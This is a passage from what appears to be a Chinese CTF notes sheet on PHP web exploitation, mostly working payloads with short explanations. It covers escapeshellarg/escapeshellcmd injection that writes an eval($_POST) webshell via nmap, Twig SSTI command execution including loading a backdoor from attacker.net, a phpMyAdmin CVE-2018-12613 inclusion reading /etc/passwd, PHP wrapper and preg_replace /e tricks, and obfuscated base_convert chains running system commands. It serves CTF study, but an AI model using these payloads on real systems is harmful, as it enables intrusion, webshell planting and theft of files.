127.0.0.1' -v -d a=1 2、由于escapeshellarg先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。所以处理之后的效果如下: '127.0.0.1''' -v -d a=1' 3、经过escapeshellcmd针对第二步处理之后的参数中的\以及a=1'中的单引号进行处理转义之后的效果如下所示: '127.0.0.1'\'' -v -d a=1' 4、由于第三步处理之后的payload中的\被解释成了\而不再是转义字符,所以单引号配对连接之后将payload分割为三个部分,具体如下所示: curl '127.0.0.1'\'' -v -d a=1' 这个payload可以简化为curl 127.0.0.1\ -v -d a=1',即向127.0.0.1\发起请求,POST 数据为a=1'。 如果是先用 escapeshellcmd 函数过滤,再用的 escapeshellarg 函数过滤,则没有这个问题。

nmap写木马

结合PHPshellRCE 用nmap命令-oG将一个命令写入到自己指定的文件中

传入' -oG 1.php ' 经过arg处理变成

'''' -oG 1.php ''''

经过cmd处理变成

''\'' <?php eval($_POST["a"]);?> -oG 1.php '\''' 也就是 nmap -T5 -sT -Pn --host-timeout 2 -F ''\'' <?php eval($_POST["a"]);?> -oG 1.php '\''' 经过shell处理 nmap -T5 -sT -Pn --host-timeout 2 -F ' '\' ' <?php eval($_POST["a"]);?> -oG 1.php '\' ' '

相当于 nmap -T5 -sT -Pn --host-timeout 2 -F \ <?php eval($_POST["a"]);?> -oG 1.php \ 解释如下: 一、两边加单引号是因为,不加的话,两个函数执行后会变成:

' -oG shell.php' 就不是一条命令了,而是一串字符串而已,因为在解析单引号的时候 , 被单引号包裹的内容中如果有变量 , 这个变量名是不会被解析成值的,但是双引号不同 , bash 会将变量名解析成变量的值再使用。 二、引号旁边加空格是因为,如果不加,当两个函数执行并echo出来后就会变成:

<?php eval($_POST["v"]);?> -oG shell.php\ 三、为什么参数V不能用单引号,而是用双引号 使用' -oG shell.php ' 传入后 escapeshellarg()后:'''' -oG shell.php ''''

escapeshellcmd()后:''\''<?php eval($_POST['\''v'\'']);?> -oG shell.php '\'''

echo出来,这里看单引号闭合,从一个单引号数下去,和离他最近的引号闭合,\转义成\类推,如果是'\'是没有转义的,直接就是\所以就是:

<?php eval($_POST[\v]);?> -oG shell.php \

ssti模版注入

尝试添加X-Forwarded-For头,并赋值127.0.0.1,ip地址发生变化 因为直接将127.0.0.1输出到页面,可以猜测是ssti模板注入 尝试使用payload: X-Forwarded-For: {{system("ls")}} X-Forwarded-For: {{system("cat /flag")}}

输入{{7*‘7’}},返回49表示是 Twig 模块 输入{{7*‘7’}},返回7777777表示是 Jinja2 模块 然后这题是 Twig 模块,用到的payload是:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

Twig Twig 和 Smarty 类似,不过我们不能用它调用静态方法。幸运的是,它提供了 _self,我们并不需要暴力枚举变量名。虽然 _self 没什么有用的方法,它提供了指向 Twig_Environment 的env 属性。Twig_Environment 其中的 setCache 方法则能改变 Twig 加载 PHP 文件的路径。这样一来,我们就可以通过改变路径实现 RFI了:

{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}} 但是,PHP 默认禁止远程文件包含(关闭 allow_url_include),因此上述 payload 不能生效。进一步探索,我们在 getFilter 里发现了危险函数 call_user_func。通过传递传递参数到该函数中,我们可以调用任意 PHP 函数:

public function getFilter($name) { ... foreach ($this->filterCallbacks as $callback) { if (false !== $filter = call_user_func($callback, $name)) { return $filter; } } return false; }

public function registerUndefinedFilterCallback($callable) { $this->filterCallbacks[] = $callable; } 我们只需注册 exec 为 filter 的回调函数,并如此调用:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

//返回结果: uid=1000(k) gid=1000(k) groups=1000(k),10(wheel)

无参数RCE

两个preg_match()过滤一些关键字,主要看到

preg_replace('/[a-z,_]+((?R)?)/', NULL, $_GET['exp']) ?R表示引用正则表达式本身,那么这里允许传入的应该就是下面这种格式

xxx(xxx(xxx(...))); 但是不能有参数,无参数RCE,这种时候就需要翻手册了,查找无参数可利用的函数

首先,需要一个浏览目录内的所有文件的函数,这个当然首选:scandir()。当scandir()传入'.',可以列出当前目录的所有文件 所以如果有函数能够返回'.'的话,就可以利用它作为scandir()的参数

localeconv() 函数返回一包含本地数字及货币格式信息的数组。

localeconv() 函数会返回以下数组元素:

[decimal_point] - 小数点字符 [thousands_sep] - 千位分隔符 [int_curr_symbol] - 货币符号 (例如:USD) [currency_symbol] - 货币符号 (例如:$) [mon_decimal_point] - 货币小数点字符 [mon_thousands_sep] - 货币千位分隔符 [positive_sign] - 正值字符 [negative_sign] - 负值字符 [int_frac_digits] - 国际通用小数位 [frac_digits] - 本地通用小数位

接下来只需要使得指针指向这个数组内的第一个值

current() 函数返回数组中的当前元素的值。每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。

pos() 函数返回数组中的当前元素的值。该函数是 current() 函数的别名。每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。 ?exp=var_dump(scandir(current(localeconv()))); var_dump 函数作用是判断一个变量的类型与长度,并输出变量的数值,如果变量有值输的是变量的值并回返数据类型. 得到 . .. .git flag.php index.php 接下来看如何读取到flag.php

next() 函数将内部指针指向数组中的下一个元素,并输出。

array_reverse() 函数返回翻转顺序的数组。 把数组顺序倒一下,然后使用next(),就可以读到flag了

?exp=show_source(next(array_reverse(scandir(current(localeconv())))));

PHP命令执行常见函数

执行file_get_contents。file_get_contents(index.php)

("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");

readfile(/tmp/flag)

使用\system 绕过 func=\system&p=cat /tmp/flag* 或使用反序列化绕过 $a = new Test(); $a -> func = 'system'; $a -> p = 'ls ../../../'; // $a -> p = "find / -name 'flag*'"; print(urlencode(serialize($a)));

func=unserialize&p=反序列化数据

phpMyadmin漏洞

cve-2018-12613-PhpMyadmin后台文件包含 影响版本:4.8.0——4.8.1 payload:/phpmyadmin/?target=db_datadict.php%253f/../../../../../../../../etc/passwd %253f=>%3f=>?

file_get_contents绕过

首先看到题目,先想到利用伪协议绕过。 利用data://来绕过第一个参数,利用php://filter 绕过第二个参数 if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){ echo "

".file_get_contents($text,'r')."

"; if(preg_match("/flag/",$file)){

PL:?text=data://text/plain,I have a dream&file=php://filter/read/convert.base64-encode/resource=next.php

php://input伪协议

body里写入 I have a dream

preg_replace代码执行漏洞

简单来说就是php5.5.0起的一个漏洞,pl为 /?.={${phpinfo()}}。get值是/?.,参数是{${phpinfo()}}。

构造PL:next.php?\S*=${getflag()}&cmd=system('ls /');

preg_replace()函数最后以/e结尾时,会存在命令执行漏洞,也就是说如果有/e,并且匹配到符合正则表达式的字符串,那么第二个参数的字符串将被当做代码来执行(把getFlag函数当作第二个参数的字符串也就会被执行) 正则表达式的\S:匹配所有非空白字符; .号:匹配除\n外的任意字符; 号:匹配前面的字符0次或者多次 +号:匹配前面的字符1次或者多次(如果要在url里输入+号,必须要对其进行编码,+号编码为:%2b) 这里的话第二个参数为strtolower("\1"),实际上也就是strtolower("\1"),而\1在正则表达式中有自己的意思,也就是指定第一个匹配项,简单来说就是取出正则表达式匹配后子匹配表达式的第一项 我们拿 ripstech 官方给的 payload 进行分析,方便大家理解。官方 payload 为: /?.={${phpinfo()}} ,即 GET 方式传入的参数名为 /?.* ,值为 {${phpinfo()}} 。

原先的语句: preg_replace('/(' . $regex . ')/ei', 'strtolower("\1")', $value); 变成了语句: preg_replace('/(.)/ei', 'strtolower("\1")', {${phpinfo()}}); 这里解释下用\S而不是用.的原因: 因为在php中,对于传入非法的$_GET参数名,会将其转换为下划线,导致正则匹配失效 所以我们只能使用\S或者\S%2b来进行构造payload

接着继续进行审计,来到foreach()函数,这个函数就是把我们传进去的参数变为正则,并且参数值变为字符串;getFlag()就不说了,eval执行即ok

正则过滤绕过

preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|'|"|`|;|,|*|?|\|\\|\n|\t|\r|\xA0|{|}|(|)|&[^\d]|@|||\$|[|]|{|}|(|)|-|<|>/i", $cmd)

ls ->>>>> dir cat ->>>> ca\t 这个原理是因为 当在前端输入ca\t时 后端将此字符存为字符串"ca\t" 而"ca\t"需要用“\\t”来匹配(对每一个\进行转义\ -> \ \) 从而绕过正则

php利用math函数RCE

php中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数比如下面的代码会执行 system(‘ls’);

$a='system'; $a('ls');

c=system("cat /flag") //flag目录结合具体题目 但是如何绕过函数和引号的限制呢?引号其实可以删掉,删掉引号命令还是可以执行。对于函数,可以利用动态函数的性质,即字符串做函数名,加上括号即可被当作函数执行: c=($_GET[a])($_GET[b]) 完整的payload如下:

c=($_GET[a])($_GET[b])&a=system&b=cat /flag

尝试构造$_GET[] 这里把中括号下划线禁用了,那么就得需要编码绕过了。 通过白名单我们看到了一些可能帮助我们编码绕过的函数 base_convert ,dechex,第一个可以进行进制之间的转换,第二个函数是将10进制转成16进制。 base_convert 可以进行进制之间转换 例如 base_convert("1001"2,10)是将二进制的1001转换为10进制 dechex => 10进制转为16进制 我们要构造的payload:?c=$_GETa&a=system&b=cat flag 中括号被禁用我们可以用花括号代替{}, 构造的字符串为 _GET hex2bin => 16进制转为字符串 hex2bin又怎么生成呢,这时就需要我们的base_convert函数了,36进制也就是base36中有字母数字正好可以满足。 所以利用链就是:base_convert(37907361743,10,36)=hex2bin。 然后dechex将_GET的10进制转为16进制 再通过hex2bin转换为字符串 _GET=base_convert(37907361743,10,36)(dechex(1598506324)); 最终payload: c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=cat /flag 为了不让结果太长,需要用一个白名单变量来保存上述值,最好用最短的pi,

另外一个解法: ②利用getallheaders函数,改写头部信息造成漏洞: payload:这个使用burpsuit方便一点,记得在头部那里添加一个你要执行的 命令的信息!!!

?c=$pi=base_convert;$pi(1751504350,10,36)($pi(8768397090111664438,10,30)(){1}) 解析: 传参进来,令$pi=base_convert (1751504350,10,36):十进制转换为三十六进制就是system $pi(8768397090111664438,10,30)(){1}: 首先$pi(8768397090111664438,10,30)转换一下就是getallheaders(我尝试了很多遍, 发现就只有十进制转化为三十进制的时候才能成功,经过大师父们的测试,31-36进制的getallheaders都会出现精度丢失导致不能成功得到getallheaders,30进制的时候就可以了。 加个()就可以执行这个函数,就会返回来一个数组,然后[1]的意思就是取出request请求包中head头键名为1的那个元素的值。在数据包头中添加1:cat /flag